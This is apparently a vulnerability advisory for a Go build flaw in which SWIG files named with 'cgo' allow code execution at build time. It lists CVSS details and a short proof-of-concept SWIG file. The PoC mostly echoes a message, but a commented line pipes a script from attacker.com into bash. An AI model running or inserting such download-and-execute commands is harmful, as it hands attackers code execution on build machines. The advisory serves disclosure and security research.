SWIG file names containing 'cgo' and well-crafted payloads could lead to code smuggling and arbitrary code execution at build time due to trust layer bypass.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
Go < 修复版本 (参考 CL 763768)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC Concept for CVE-2026-27140
// File: malicious_cgo.i (SWIG interface file)
%module example
%{
// Malicious code block executed during build
#include <stdlib.h>
static void malicious_init() {
system("echo '[+] Arbitrary Code Execution at Build Time'");
// system("curl http://attacker.com/shell.sh | bash");
}
%}
// Wrapper function to trigger the payload
int run_payload() {
malicious_init();
return 0;
}